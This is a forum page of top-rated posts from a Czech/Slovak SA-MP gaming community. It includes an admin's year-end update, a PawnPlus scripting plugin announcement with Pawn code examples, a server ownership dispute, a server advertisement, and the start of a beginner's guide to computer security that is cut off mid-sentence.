Jump to content

Žebříček

Populární obsah

Showing content with the highest reputation since 10/17/12 in all areas

  1. Zdravíčko přátelé, přeji vám všem krásné vánoce a vše nejlepší do nového roku 2021 Máme za sebou poněkud splašený rok, a kvůli této situaci se hodně lidí ocitlo v tíživé situaci jak finanční, či rodinné. I mě jako živnostníka a majitele firmy to neminulo a od léta jsem se musel hodně otáčet, abych firmu nepoložil (klienti, se kterými jsem zvyklý pracovat, najednou začali šetřit). Proto jsem neměl dostatek času věnovat se fóru a jeho růstu, či proměně. Všichni členové týmu měli naprosto volné ruce, mohli měnit co se jim zlíbí. @Lucifer Morningstar dostal do rukou kompletní přístup k běžícímu VPS, @Ewwe na nás bohužel také nemá dostatek času a @vEnd začíná prohlašovat, že je potřeba nabrat nové lidi do týmu (kteří se budou aktivně věnovat dění na fóru), protože celý moderátorský tým se tu ochomítne jednou za týden. Herní Servery Mnoho lidí psalo mně i dalším zprávy s dotazy ohledně herního serveru. Za úkol zprovoznit Minecraft server to dostal @Lucifer Morningstar - VPSko už běží druhý měsíc a server stále nemáme (částečně se chvilkama čekalo i na mě). V tuto chvíli se VPSko reinstaluje z Cent OS (který Spy odsoudil, kvůli končící podpoře a stejně mě "zaúkoloval" s přehozením) na Ubuntu. Až se to dotáhne (při předpokladu, že do té doby neupadnu do spánku), tak tam sám nahodím jednak Minecraft server v základu, ale také pár dalších retro her - počínaje CoD2, či právě i SA:MP a uvidíme o co přesně byste měli zájem. Abychom nabídli něco originálního, jiného a nového tak servery poběží na základní nastavení - s tím, že tu na fóru se zřídí nějaká sekce, do které kdokoliv může postnout požadavek na instalaci jakéhokoliv kódu / addonu / módu. Celý proces vypilujeme za pochodu - zkusíme hlasování, manuální schvalování apod. Detaily čekejte v podrobnějším topicu zaměřeném na toto téma exkluzivně. Tým @vEnd Žádal o kompletní obměnu moderátorského týmu (včetně něj). Nakonec jsme to politicky ufackovali jen na nový přírůstek - někdo kdo je tu pravidelně, je aktivní a má zájem se podílet na rekonstrukci komunity. Také bych chtěl apelovat na všechny zkušenější, kteří tu s námi ještě jste - vytvořte nám nějaký content, návod, příspěvek. @Lucifer Morningstar přislíbil seriál na téma Linux a já se chystám na game-dev a hardware sérii. Jenže jsme jen dva a já věřím, že je tu více lidí, kteří by rádi postavili fórum zase na nohy Reklama Možná jste si všimli nových přírůstků mezi registrovanými členy Reklamy sice neběží na plný výkon (jako na jaře), nicméně budget je alespoň na nějakém minimu, který to udržuje + se snažím propagovat fórum i v osobních kruzích. Takže doufám, že jsme nováčkům pomohli a ještě jim mnohokrát budeme ku pomoci Další kroky V tuto chvíli je hlavním cílem mise, zajistit se na finanční krizi. Proto nebudou ani v dalších několika měsících probíhat významnější investice - pojede VPS na herní servery, reklama v nějakém menším budgetu, stále budeme bez download sekce a aktivita našich mužů nebude taková jaká by měla být. Já věřím, že to všichni pochopíte - jsme už dospělí lidé, někteří z nás mají už své rodiny. Jakýkoliv vývoj, kterýmkoliv směrem se budu snažit filtrovat do nějakého nového vlákna, kde popíšu jaká je situace, co se děje a co se dít bude. V tuto chvíli se řeší stavba herních serverů (Minecraft, CoD2, SA:MP), můžete již teď začít podávat návrhy na instalaci skriptů a obsahu, který na serverech chcete. Detaily dořešíme později Až se rozběhnou servery, dotáhneme ten problém s aktivitou v našich řadách a obnovíme reklamu. @Lucifer Morningstar se SNAD dostane k nějakému tomu návodu. Já určitě také něco sepíšu. Děkuji vám všem Rád bych poděkoval hlavně našemu moderátorskému týmu! Ti kluci jsou tu už takových let, nikdy za svou práci neviděli ani halíř, natož kolikrát poděkování. Proto bych jim rád poděkoval jak osobně, tak i nějakou revanží. Buďme prosím rádi za jejich služby a za to, že to fórum drželi a drží tak dlouho A i vám všem ostatním přeji veselý start a úspěšný rok 2021, který nám již klepe na dveře. Věřím, že už se vyhrabeme z nesmyslných opatření a začneme zase znovu budovat hodnoty, které jsou naší vizí.
    12 points
  2. PawnPlus 0.8 Stažení | Dokumentace Představuji vám svůj nový plugin, který z Pawnu udělá moderní programovací jazyk, v němž bude radost programovat pro SA-MP. Přidáním nových konstruktů a "typů" rozšiřuje sílu jazyka, ale zachovává a dokonce i navyšuje jednoduchost programování. Shrnutí hlavních funkcí Řetězce Všichni to známe – řetězec je pole znaků s pevnou maximální délkou, kterou vždy musíme znát, pokud chceme s řetězci cokoliv provést. Odteď už ne! PawnPlus přináší dynamickou alokaci řetězců, které lze spojovat, rozdělovat, porovnávat či jinak upravovat. Možná si říkáte, k čemu je to dobré, když funkce SA-MP (např. SendClientMessage) vyžadují předání řetězce jako pole, ale počkejte – jde to! Tento plugin umožní přetvořit jakoukoliv funkci SA-MP (i jiných pluginů) na variantu, která místo polí bere nové řetězce a funguje naprosto stejně. Asynchronní programování Nebojte, žádná vlákna či race-condition, ale lehké asynchronní programování pomocí úloh, jehož vzorem je jazyk C#. Pomocí nového příkazu jazyka lze pozastavit průběh stávající funkce a odložit jeho vykonávání na jakoukoliv jinou dobu a mezitím spustit třeba něco jiného. Již žádné složité používání SetTimerEx, s tímto pluginem lze prostě ve funkci čekat, než nastane žádaná situace, a pak pokračovat. "Reflexe" Pawn sice není natolik pokročilý, aby umožňoval jakoukoliv reflexi, ale v tomto pluginu naleznete i pár funkcí, které umožní např. zavolat nativní funkci pomocí jejího jména jako řetězce, či navázání libovolné funkce na konkrétní událost serveru. Příklady Vytvoření, spojení a předání řetězců #include "PawnPlus.inc" //Původní SendClientMessageToAll(color, const message[]) upravíme tak, že všechny "const x[]" nahradíme "AmxString:x". native SendClientMessageToAllStr(color, AmxString:message) = SendClientMessageToAll; //Pomocná funkce vytvářející řetězec (jehož maximální velikost známe). stock String:GetPlayerNameStr(playerid) { new name[MAX_PLAYER_NAME]; GetPlayerName(playerid, name, sizeof(name)); return str_new(name); } public OnPlayerConnect(playerid) { //Řetězce jsou reprezentované proměnnými se značkou "String". Lze je spojovat pomocí operátoru +. Funkce str_val umí převést libovolnou hodnotu na řetězec. new String:name = GetPlayerNameStr(playerid); new String:msg = str_new("Hráč ")+name+str_new(" (")+str_val(playerid)+str_new(") se připojil na server."); //Provede se zavolání funkce SendClientMessageToAll, jen místo druhého parametru se vezme dynamický řetězec namísto pole znaků. SendClientMessageToAllStr(-1, msg); } Rozdělení a porovnání řetězce //Obdobným způsobem upravena funkce SendClientMessage. native SendClientMessageStr(playerid, color, AmxString:message) = SendClientMessage; public OnPlayerCommandText(playerid, cmdtext[]) { new String:cmd = str_new(cmdtext); new String:name = cmd; new String:args = STRING_NULL; //Cyklus nalezne v řetězci mezeru a rozdělí jej na jméno a argumenty. new len = str_len(cmd); for(new i = 0; i < len; i++) { if(str_getc(cmd, i) == ' ') { name = str_sub(cmd, 0, i); args = str_sub(cmd, i+1); break; } } //Porovnání jména příkazu. if(name == str_new("/test")) { SendClientMessageStr(playerid, -1, args); //Vypsání argumentů. return true; } return false; } str_find a str_split bude v pozdější verzi. Pozastavení vykonávání funkce stock Odpocet() { SendClientMessageToAll(-1, "3"); wait_ms(1000); //Neblokující čekání (žádný cyklus). SendClientMessageToAll(-1, "2"); wait_ms(1000); SendClientMessageToAll(-1, "1"); wait_ms(1000); SendClientMessageToAll(-1, "0"); } //Poznámka: Čekání zablokuje vykonávání kódu až do nejbližší (externě vyvolané) funkce public. Pokud chcete, aby vnější kód pokračoval rovnou, použije CallLocalFunction. Čekání na libovolnou událost //Předělání funkce MoveObject tak, aby vracela úlohu, na niž lze "čekat" (tedy dokončení hýbání s objektem). stock task:MoveObjectTask(objectid, Float:X, Float:Y, Float:Z, Float:Speed, Float:RotX = -1000.0, Float:RotY = -1000.0, Float:RotZ = -1000.0) { //Úloha představuje abstraktní proces, který lze dokončit a jehož výsledkem může být nějaká hodnota. //task_new vytvoří novou prázdnou (nedokončenou) úlohu. new task:t = task_new(); //Zaregistruje novou "obsluhu" pro callback OnObjectMoved. Veřejná funkce SingleFireObjectTask se zavolá pokaždé, //kdy by se měla zavolat funkce OnObjectMoved a navíc se jí předá několik argumentů navíc. //specifikátor "e" značí předání ID nově vytvořeného objektu (to funkce pawn_register_callback i vrací). pawn_register_callback(#OnObjectMoved, #SingleFireObjectTask, "edd", t, objectid); MoveObject(objectid, X, Y, Z, Speed, RotX, RotY, RotZ); return t; } stock ObjectTest() { new obj = CreateObject(19300, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0); print("Object created!"); //Proběhne čekání na úlohu; zbytek kódu se vykoná, až skončí. await MoveObjectTask(obj, 0.0, 0.0, 10.0, 5.0); print("Object moved!"); } //Nová obsluha události OnObjectMoved má navíc tři parametry (na začátku), jejichž hodnotu lze určit //v pawn_register_callback. Zbytek parametrů je z OnObjectMoved. forward SingleFireObjectTask(callback:id, task:task, obj, objectid); public SingleFireObjectTask(callback:id, task:task, obj, objectid) { if(obj == objectid) { //Pokud se pohnul objekt, na nějž je zaregistrovaná tato obsluha (uloženo v parametru obj), obsluha se odregistruje pawn_unregister_callback(id); //a úloha, která k ní náleží, je nastavena na hotovou (s nějakým výsledkem). task_set_result(task, objectid); } } Technické informace Jak to celé funguje? Technologie, na které celý tento plugin staví, se nazývá hookování. Hookování principiálně umožňuje přepsat kód nějaké funkce vlastním kódem, který se spustí místo něj. Díky patří Zeexovi za jeho knihovnu subhook. Tak například každá nativní funkce, která bere řetězce, používá funkci amx_GetAddr z API AMX. Tato funkce očekává adresu nějaké proměnné uvnitř stroje AMX a vrací ukazatel, který na ni ukazuje (to lze zapsat jako DAT+addr, kde DAT je ukazatel na počátek datové sekce stroje AMX, jenž lze získat z takto pojmenovaného registru). Tato funkce se musí zavolat vždy, když v Pawnu předáváme nějakou adresu (výstupní proměnné či pole) a na hookování je tedy ideální. Pokud AMX zjistí, že addr neukazuje dovnitř datové sekce, vrátí chybu, a pak přichází na scénu nový kód pluginu, který místo vrácení chyby interpretuje adresu jako (nějaký) identifikátor dynamicky alokovaného řetězce a ukazatel na jeho znaková data úspěšně vrátí. Tak se navenek každé funkci jeví předaný argument jako správný, ale když dojde na získání ukazatele, namísto dovnitř AMX ukazuje vrácené číslo na data pluginu. Zbývá maličkost, tedy zařídit, že addr bude pro dynamické řetězce ukazovat vždy do paměti, která je mimo AMX (sice to téměř jisté, ale nikoliv zaručené). Zde se uplatňuje vlastní tag AmxString, za nímž stojí funkce str_addr. Ta z ukazatele na řetězec spočítá relativní ofset vůči datové sekci stroje AMX, takže pro ukazatele mimo datovou sekci bude vytvořené číslo vždy chybné pro normální funkci amx_GetAddr. Funkce amx_Exec se zase volá vždy, když chce server spustit kód v AMX. AMX samotné podporuje předčasné ukončení vykonávání funkce pomocí vyvolání chyby a jedna taková chyba je i AMX_ERR_SLEEP (lze ji vykonat příkazem sleep v Pawnu), která značí, že se kód může obnovit. Jelikož hookuji každé volání amx_Exec, mohu to okamžitě zjistit a průběh vykonávání obnovit, aniž by o tom byl informován server. Zbývá vyřešit jediný problém – uložený obnovovací stav AMX je jen jeden a při jiném volání se zruší. Proto si plugin ukládá veškerou dynamickou paměť AMX (halda a zásobník) a registry k sobě, jakmile je výkon funkce pozastaven, aby nedošlo ke ztrátě. Při obnově je potom paměť AMX dočasně vrácena do původního stavu a spouštění původní funkce se obnoví. Funkce pawn_register_callback funguje pomocí hookování amx_Exec a amx_FindPublic, jež se zavolá vždy, když je třeba zjistit index veřejné funkce v AMX. Pokud je na název callbacku registrována nějaká obsluha, místo skutečného indexu se vrátí záporný index, který je následně identifikován v amx_Exec, která napřed vykoná příslušné obsluhy zjištěné z tohoto indexu. Řetězce a garbage collection Jak známo, každá dynamická alokace musí mít svoji dealokaci, jinak by začala unikat paměť, ale tady jsem si vesele používal str_new a žádnou dealokaci jsem neřešil, ačkoliv použitá paměť byla nová. Jak je to možné? Řetězce mají svůj vlastní garbage collector, který se stará o jejich mazání. Ve skutečnosti existují dva druhy řetězců – lokální (dočasné) a globální. Lokální řetězce jsou jejich nejčastější typ (String) a jejich existence je omezena po dobu výkonu nejvyššího callbacku. Je-li např. do skriptu vstoupeno callbackem OnPlayerConnected, všechny nové lokální řetězce existují po celý běh této veřejné funkce a jakmile ta skončí, smažou se. Pozor! – jakmile funkce skončí, použití jejích lokálních řetězců způsobí pád serveru. Řetězce se mažou jen po skončení nejvyšší veřejné funkce, takže pokud se ve skriptu skáče pomocí CallLocalFunction/CallRemoteFunction, vnitřní řetězce existují i po skončení vnitřních funkcí public. To ovšem neplatí pro SetTimer, jelikož vnitřní funkce se zavolá až po skončení vnější. Životnost lokálních řetězců není prodloužena ani pomocí asynchronních funkcí, neboť samotný callback je ukončen prvním čekáním. Proto existují globální řetězce, které nejsou automaticky mazány. Jejich použití je ale nebezpečné, neboť se musíte postarat o jejich smazání; musíte myslet na každé místo, kde by byl globální řetězec. Příklad: native print_s(AmxString:string) = print; new GlobalString:str; public OnFilterScriptInit() { str = str_new("Goodbye world!"); } public OnFilterScriptExit() { print_s(str); str_free(str); str = STRING_NULL; } Globální řetězce jsou označeny tagem GlobalString a převod na ně je automatický, pokud do takto značené proměnné přiřazujete. Lze toho docílit i voláním funkce str_to_global. Všechny funkce fungují stejně pro globální i lokální řetězce. Místo str_free můžete použít i funkci str_to_local, jež naopak vrátí řetězec do lokálního prostoru. To doporučuji použít v kombinaci s asynchronními funkcemi: public OnFilterScriptInit() { new String:str = str_new("Hello world!"); str_to_global(str); wait_ms(1000); str_to_local(str); print_s(str); } Mutabilita řetězců Řetězce jsou mutabilní, tedy měnitelné (až na jednu výjimku – STRING_NULL). To znamená, že některé funkce (například str_del) pouze upravují existující řetězec, takže pokud s ním pracují jiné funkce, dostanou jiná data. To lze vyřešit vytvořením nového řetězce (např. přes str_clone) nebo použitím funkcí, které samy o sobě tvoří nový řetězec (např. str_sub). STRING_NULL má speciální chování. Lze jej použít na místě normálního řetězce a všechna volání proběhnou úspěšně, ale jeho délka je vždy nulová. Funkce jako str_resize nebo str_set na něj tedy nemají žádný vliv. str_clone a jiné vytvářející funkce ale vždy udělá řetězec nový (a normální). Návratová hodnota asynchronní funkce Funkce obsahující čekání skončí vlastně předčasně a v takovém případě je nutno vrátit kontrolu serveru. Jelikož ale server očekává od funkce nějakou hodnotu hned, na případný příkaz return nemusí vůbec dojít. Od toho je tu funkce yield, jež navrátí hodnotu volajícímu kódu okamžitě: public OnFilterScriptInit() { new ret = CallLocalFunction(#Func, ""); printf("%d", ret); } forward Func(); public Func() { yield 12; wait_ms(1000); return 13; } Program vypíše 12 hned po spuštění. Návratovou hodnotu zbytku funkce (či z dalších volání yield) zatím nelze nijak odchytit, ale očekávám přidání něčeho na způsob coroutines v Lua (task_create z veřejné funkce a await, který lze zavolat vícekrát na takovou úlohu). Něco divného na mém kódu? await a yield jsou funkce, ale používám je jako příkazy. Pawn umožňuje vypustit závorky z takového volání, což vypadá rozhodně lépe. Také používám výraz typu #Func, což známe z maker, a je to totéž jako prosté "Func". Pokud řetězec je zároveň jméno funkce, líbí se mi toto použití pro odlišení.
    11 points
  3. Po zahlédnutí prvního topicu na toto téma (cca květen tohoto roku) jsem se rozhodl diskuzi ignorovat, protože mi přišla více než zbytečná. Dnes si znovu procházím fórum a jen bych chtěl za sebe uvést některé věci na pravou míru (na tom, že je téma zbytečné si stále stojím). Již tehdy jsem si zjišťoval veškeré informace a dal jsem si tu práci kontaktovat přímo majitele ROSA. Pardon jestli se pletu, ale mě nikdo nekontaktoval Nechci se tady nad nikoho povyšovat, ale Honza stál u založení avšak byl to jen pawner, který po krátké době odešel stylem vybanování serveru (viz. moje citace a Honzova zpráva kterou přiložil výše ATomas). Proto cokoliv si "komunikoval" s Honzou, tak bych rovnou vypustil z hlavy, jelikož sám byl u chodu serveru dohromady ani ne polovinu času, co server běžel. Pokud si chtěl info, tak si kontaktoval špatnou osobu. Navíc mu v jeho příběhu chybí některé období jako například, že po jeho podrazu jsem server dal do pořádku a stále provozoval až do doby, než zamnou přišel s prosíkem (stejně jako za ATomasem), že by se chtěl znovu podílet na vývoji. To by asi majitel nedělal, nepletu se? Každopádně jsem mu již nevěřil a když viděl, že mu mód nepošlu, tak to vzdal + jak uvádí, že napsal 95% kódu, tak mu nedochází, že já sám pokračoval 3-4 roky ve vývoji (i když uznávám že posledního cca půlroku skoro nulově). Ale to jsem jen chtěl objasnit některé věci. (Dodnes jsem jediný, kdo má poslední hranou .pwn verzi módu.) Jediný, kdo kontaktoval majitele serveru a módu RoSA byl ATomas, který mi formou SZ zde na pawnu napsal, a s kterým jsem si probral některé věci. Server vybanoval a hráče na SP směroval Honza, ale poté jsem server znovu dal do pořádku a dál ho do roku 2018 provozoval, než jsem ho sám osobně vypnul i kvůli mé časové vytíženosti. Není co víc k danému tématu vyřešit.
    11 points
  4. kingsofsa.cz:8888 Server, kde se dá dělat všechno. Ať už je vaší oblíbenou činností závodění, zabíjení, natáčení, stavění, roleplay či jenom testování skinů, na tomto módu můžete cokoliv. Pomocí široké škály funkcí a příkazů můžete vytvářet vlastní objekty, vozidla, prozkoumávat celé San Andreas od tajných interiérů až po konec světa. Jen fantazie je vaší hranicí. Nepřetržitý vývoj od roku 2009. Bez žádných omezení či zákazů toho, co můžete dělat (CLEO apod. povoleno). Autor vyhrál soutěž o nejlepšího pawnera. ;-) Můžete si nastavit čas, počasí i gravitaci podle sebe. Dejte si tolik zbraní a peněz, kolik chcete. Celé San Andreas jen pro vás – systém vlastnictví virtuálních světů vám umožní nerušeně hrát s lidmi, kterým to umožníte, a měnit vlastnosti hry i světa pro všechny hráče v něm. Obsahuje všechny objekty, vozidla, skiny, zbraně i animace, vše okamžitě přístupné. Jaký způsob hraní vám vyhovuje, je jen na vás. Nastavte si vlastní jméno a vrhněte se na roleplay (rozšířená sada příkazů), nebo si vytvořte autodílnu a tuňte vozidla ostatním hráčům. Některé trailery na jiné servery pocházejí ve skutečnosti z KSA. Pomocí spousty příkazů můžete pohybovat s kamerou nebo nahrávat a vytvářet NPC. Chodci – ovladatelné postavy, které můžou chodit, jezdit či útočit na váš rozkaz. Vytvořte si auto s raketovým pohonem, majákem, přídavnými střílnami či vlastními texty. Vše je sice jen kosmetické, ale fantazii se meze nekladou! Postavte si vlastní dům či vozidlo a uložte si ho, abyste ho příště mohli lehce vytvořit. Připojte na sebe jakékoliv objekty a vytvořte oblečení pro supervojáka, démona nebo čaroděje. Systém vlastních map přidává do San Andreas chybějící křoví a stromky, a nebo sníh po celém světě. Vše lze okamžitě zapnout i vypnout. Ovládejte všechny brány a výtahy po San Andreas. Lehké a okamžité pouštění hudby z YouTube. Lze spustit i všem lidem ve světě nebo v týmu. Piškvorky a jiné minihry! Pozvěte si hráče, postavte trať a lze hned závodit. Server používá pluginy YSF (který vyvíjím), FCNPC a streamer. Využívá možnosti SA-MP na maximum. Půlnoční filosofické debaty se mnou... A mnoho dalšího! Přijďte se podívat, těšíme se na vás! Videa Ukázky
    9 points
  5. Ahoj. Rád bych zde odprezentoval své nové video ze hry GTA V a to konkrétně "kooperativní" stunt movie, které jsem vytvořil společně s kamarádem. Snad se bude páčit.
    8 points
  6. Dlouho jsem přemýšlel co zajímavého bych zde mohl sdílet. Můj profesní život jsem zabrzdil s příchodem covidu. Vždy jsem se pyšnil svou praxí, začínal jsem jako mechanik náklaďáků, přešel na bachaře ve věznici, poté jsem žil pár měsíců v anglii, po návratu jsem začal fungovat jako specialista sítí pro lokálního velkého ISP, přeskočil jsem na technického ředitele v malé firmě, utekl jsem do živnosti a ze živnosti pak do velkého automotive korporátu jako IT specialista, kde jsem teď. Programování bylo vždy takový side-quest - který občas nesl velké šťavnaté ovoce, jindy vytvářel stres a chaos. Dnes dodělávám několik posledních placených projektů a končím. Poté se již budu věnovat jen osobním projektům. Jednak z důvodu mého nesouhlasu s tím, jakým směrem se programování a obor s tím spojený ubírá a druhak jsem dosáhl bodu absurdního vyhoření - za nízkou cenu velké projekty, za větší cenu žádné projekty. A ta nejistota a finanční nestabilita, nemluvě o stavu a složitostí zákonů a právních záležitostí, to je konstantní generátor stresu. Dlouhou dobu jsem jen pracoval, od rána do noci. Spal jsem 2 až 4 hodiny denně a pracoval nejméně 16. Nedávno jsem podstoupil banální, ale potřebnou operaci, a v průběhu hospitalizace jsem měl čas přemýšlet. I když mé know-how má svoji cenu, která není úplně malá - nemám to jak prodat a nejsem obchoďák. Pokud člověk nedělá pro IT firmu, tak je jednočlenná IT firma a ta dnes nemá na trhu moc šanci. Po 4 letech fungování jako jednočlenná firma jsem tedy přehodnotil svoje priority a postupně přesouvám své snahy do věcí smysluplnějších. Před rokem se ze mě stal táta, od té doby jsem mnoho své aktivní energie přesunul z nočních klávesnicových seancí do výroby dětské radosti. A do toho kluka a i do mé ženy hodlám investovat nejvíce volného času. Protože to jsou hodnoty, které pro mě mají cenu, moje milníky, které chci tlačit neustále kupředu, výš a silněji. Finance byly, nějaké jsou a určitě nějaké i budou. Rodina je jenom jedna a je velmi snadné o ni přijít.
    7 points
  7. Děkuji, zejména proto, že v dnešní době je těžké najít někoho slušného, zejména na fórech v mé zemi
    7 points
  8. Hunterov úvod do bezpečnosti Základné tipy, ako zabezpečiť svoj počítač a svoje online účty. Tento návod predpokladá, že používate Windows. Toto nieje návod na štýl krok po kroku, skôr ide o súhrn vecí, ktoré by ste mali spraviť a aplikácií, ktoré vám s tým môžu pomôcť. Návody, ako jednotlivé kroky spraviť nájdete tipicky v odkazoch, ktoré som priložil, alebo pomocou Googlu. Ak máte nejaké pripomienky, napíšte mi ich prosím a ja tento návod prípadne upravím. 1 Základy Základné triky, ako zabrániť niekomu, aby sa dostal na vaše webové účty. 1.1 Bezpečné heslá Základom bezpečnosti je zvoliť si bezpečné heslá. Určite vám ludia povedali, že bezpečné heslo musí mať aspom 8 znakov, že musí obsahovať malé a velké písmená, čísla, znaky, hieroglify, motivačný slogan. Neverte im, sú to americký sabotéry. Takéto heslá sa ťažko pamätajú a niesu nijak zvlášť bezpečné. Ak chcete bezpečné heslo, nájdite si najbližší slovník a náhodne z neho vyberte 4 slová, odstráňte diakritiku a ak chcete ich vysklonujťe alebo ich nechajte tak a máte svoje heslo. Napríklad: "StolickaKlameVyslednemuRazu". Takéto heslo si oveľa jednoduchšie zapamätáte ako napríklad "qeP2Ub%L" a hádajte čo? Je aj bezpečnejšie. Ak váš slovník má 10 000 slov, tak sila tohoto hesla je 53 bitov, zatiaľ čo náhodné 8 znakové heslo má 50-52 bitov. A na rozdiel od náhodného hesla ho nemusíte mať napísané na lístočeku vedľa počítača, kde ho môže hocikto nájsť. 1.2 Správca hesiel (KeePass) No ale aj takýchto pekných hesiel si veľa nezapamätáte a používať rovnaké heslá na viacerých webstránkach je veľmi nebezpečné, preto je vhodné používať správcu hesiel (Password Manager). Já osobne odporúčam KeePass. KeePass vám vytvorí náhodné heslá a zašifrované vám ich uchová vo vašom počítači. Vaše heslá zostavajú u vás v PC, takže sa nemusíte báť, že niekto hackne KeePass, alebo, že KeePass prestane fungovať a vy o vaše heslá prídete, ako tomu je u podobných služieb od iných poskytovateľov. Ja osobne ukladám svoju databázu hesiel na Google Drive (Teraz tomu vraj hovoria google backup and sync? Čo tý ľudia v tom marketingovom oddelení hulia, keď si myslia, že takýto názov je lepší ako Drive fakt netuším. Kto vám v bežnej konverzácie bude hovoriť "Dám ti to na google backup and sync."?!). Vďaka tomu ju jednak nestratím, ak mi napríklad odíde disk na PC a jednak ju môžem používať na telefóne pomocou Keepass2Android. Ak máte svoju databázu v Google Drive neukladajte do nej heslo od Google, pretože sa k nemu bez tohoto hesla aj tak nedostanete. Takto by ste mohli prísť o všetky svoje heslá! Nemusíte sa báť, že by Google mal prístup k vašim heslám, databáza hesiel je šikovne šifrovaná pomocou vašeho hlavného hesla a používa taktiež PIM1. Každopádne taktiež používam rozšírenie ChromelPass, ktoré heslá píše z KeePass priamo do webových stránok, lebo lenivosť. Pozor: Heslo z KeePassu sa nedá resetovať, pretože ho nikto okrem vás nevie a databáza sa bez neho nedá nijak dešifrovať. 1.3 Antivirový program Dobrý antivírový program je základ pre bezpečnosť a je to jediná oblasť v tomto návode, kde by som odporučil zaplatiť nejaké peniaze, ak chcete byť naozaj v bezpečí. Ja osobne používam ESET Smart Security (zrejme zas premenovali na Internet Security, meh), ktorý je platený, ale som veľmi spokojný. Jednoduchá inštalácia a funguje bez nejakého extra nastavovania, čo je obzvlášť plus, ak nieste bezpečnostný expert a všetkým tým zložitým nastaveniam nerozumiete. Jediná vec, ktorú by ste mali vypnúť pri inštalácii je "detekcia potenciálne nechcených aplikácií", čo v preklade znamená, že vám ESET bude vrieskať na každú blbosť ako crack, cheat a podobne. A na detekciu takýchto vecí ja aj tak lepší MawareBytes, o ktorom hovorím v sekcii 1.5. Je dostupných taktiež viacero programov, ktoré sú zadarmo, ale s týmy, ktoré som skúšal som vždy mal nejaké problémy a neviem vám doporučiť žiadny najlepší. Jediné čo k tomu poviem je, držte sa ďalej od McAfee. Myslým, že oni tú predponu anti v slove antivírus pridali len preto, aby zmiatli súpera... Taktiež nepoužívajte 2 antivírové programy naraz, viď. sekcia 1.5. 1.4 2FA (Dvojfázové overenie) Niektoré webstránky umožňujú používať takzvané dvojstupňové overenie (Two Factor Authentication, 2FA). 2FA znamená, že sa pri prihlásení okrem hesla musíte ešte overiť pomocou napríklad svojho telefónu. Vysoko odporúčam si 2FA aktivovať minimálne pre váš Google účet (pamätajte, že na ňom máte databázu všetkých svojich hesiel, aj keď šifrovanú, ale heslo vám niekto môže dopozerať, keď ho píšete) a na váš mail (ak používate Gmail, tak máte 2 v jednom), pomocou ktorého vám niekto môže restovať všetky vaše heslá a dostať sa všade. POZOR: Vytvorte a odložte si záložné kódy!!! Ak sa niečo stane s vaším telefónom (stratíte, utopíte, pokazí sa) a nebudete mať záložné kódy, tak sa nedostanete do svojich účtov a všetko stratíte. Kódy od Google si vytlačte, najlepšie v dvoch kópiách a uložte na bezpečné miesto, prípadne jednu kópiu môžete nosiť v penaženke. Ostatné kódy si môžete uložiť napríklad aj do KeePass do poznámok k heslám. Neukladaje tam kódy od Google, keďže vaša databáza je na Google drive!! Pretože na Google drive a tým pádom ani do KeePass sa bez nich potom nedostanete. 1.5 MalwareBytes MalwareBytes je veľmi užitočný nástroj na skenovanie počítača. Na rozdiel od bežných antivírov je veľmi dobrý v hľadaní menej nebezpečných, ako napríklad rôzne reklamné vírusy, ktoré vám neustále zobtazujú nejaké stránky pre dospelých a podobne. Odporúčam si ho nainštalovať a spustiť sken raz za čas. Neodporúčam vám si zaplatiť za prémiovú verziu. Prémiová verzia vám iba umožňuje používať MalwareBytes ako bežný antivír. Avšak MalwareBytes nieje až tak dobrý v zastavovaní vírusov a používať dva antiviráky nieje dobrý nápad. Jednak zbytočne spomalíte svoj počítač. Ale hlavne dva antivíry sú ako dve frajerky, je fajn mať jednu trvalo a jednou... skenovať... raz za čas, ale skúsiť ich obe nasťahovať k sebe domov by dopadlo zle. Neustále by sa hádali a mohlo by to byť nakoniec horšie, než mať len jednu. 1.6 HTTPS a VPN Každý, kto sa dokáže pripojiť medzi vás a internet dokáže odpočúvať a aj meniť, čo odosielate a prijímate a to vrátane hesiel. To zahŕňa nielen vašeho providera internetu, ale napríklad aj každého s prístupom k vašemu routeru. Ak router nieje správne zabezpečený, môže to dokonca zahŕňať každého, kto je k routeru len pripojený. Preto je potreba používať HTTPS všade, kde to je možné. HTTPS šifruje vaše spojenie a vďaka tomu zabraňuje odpočúvaniu aj meneniu. Avšak nie všetky weby poskytujú https. Ak chcete bezpečne navštevovať aj tie, môžete použiť VPN. VPN šifruje vaše spojenie a vďaka tomu zabraňuje špehovaniu od všetkých vyššie vymenovaných lumpov. Ale pozor: Váš poskytovateľ VPN vidí všetko, čo by normálne videl váš internetový provider. Preto je dôležité si vybrať VPN, ktorá aspoň tvrdí, že neukladá žiadne údaje, aj keď toto tvrdenie sa nedá overiť. Preto neprestaňte používať HTTPS aj keď máte VPN. VPN má taktiež tú výhodu, že skryje vašu IP adresu. 1.7 Vypnite RDP Vypnite RDP! RDP je niečo ako Team Virewer len horšie a vstavané priamo vo Windowse. Často to je zapnuté defaultne. Vypnite to! A keď hovoríme o TeamVirewery, ten vypnite tiež, keď ho nepoužívate. Alebo ak neviete ako, tak ho rovno odinštalujte. Keď ho budete potrebovať znovu tak o pol roka, tak ho proste nainštalujete znovu. Aspoň budete mať najnovšiu verziu. PS: Ak RDP naozaj potrebujete, zvazte jeho zablokovanie na firewalle PC a tunelovanie cez SSH. Touto metodou odstranite vacsinu problemov, ktore nastavaju pri beznom pouziti RDP. Usitite sa, ze mate SSH spravne nastavene. 2 Silnejšie zabezpečenie (porazte súrodencov, aj FBI) Ako zabezpečiť svoj PC, ak sa útočník dokáže k nemu dostať fyzicky. 2.1 VeraCrypt Používať heslo na Windowse je asi tak efektívne, ako nalepiť lístoček s textom "Nepoužívať bez povolenia" na monitor. Nástroje ako OphCrack dokážu prelomiť aj 16-miestne heslá za niekoľko minút. A dané heslo nakoniec ani nepotrebujete. Stačí vybrať disk a pripojiť ho k inému PC alebo nabootovať iný operačný systém z CD/USB a možete prechádzať všetky súbory bez hesla. Jediný spôsob, ako tomuto zabrániť je šifrovať svoj disk a to umožnuje open-source program zvaný VeraCrypt. VeraCrypt je nasledovník TrueCryptu, keďže vývojári TrueCryptu sa dobrovoľne rozhodli projekt ukončiť a odporučiť všetkým, aby používali bitlocker (Určite americké tajné služby v tom nemali prsty, určite ich nepresvedčili, že odovzdať všetku moc Microsoftu je dobré pre ich zdravie). VeraCrypt dokáže šifrovať celý disk, alebo len niektoré súbory, alebo aj oboje rôznymi heslami. Taktiež používa PIM1 a dokáže aj vytvárať takzvané skryté sekcie. To umožňuje v podstate skryť súbory do iných šifrovaných súborov. Takže povedzme, že máte rôzne nelegálne hacky v PC a niekto vás dotiahne 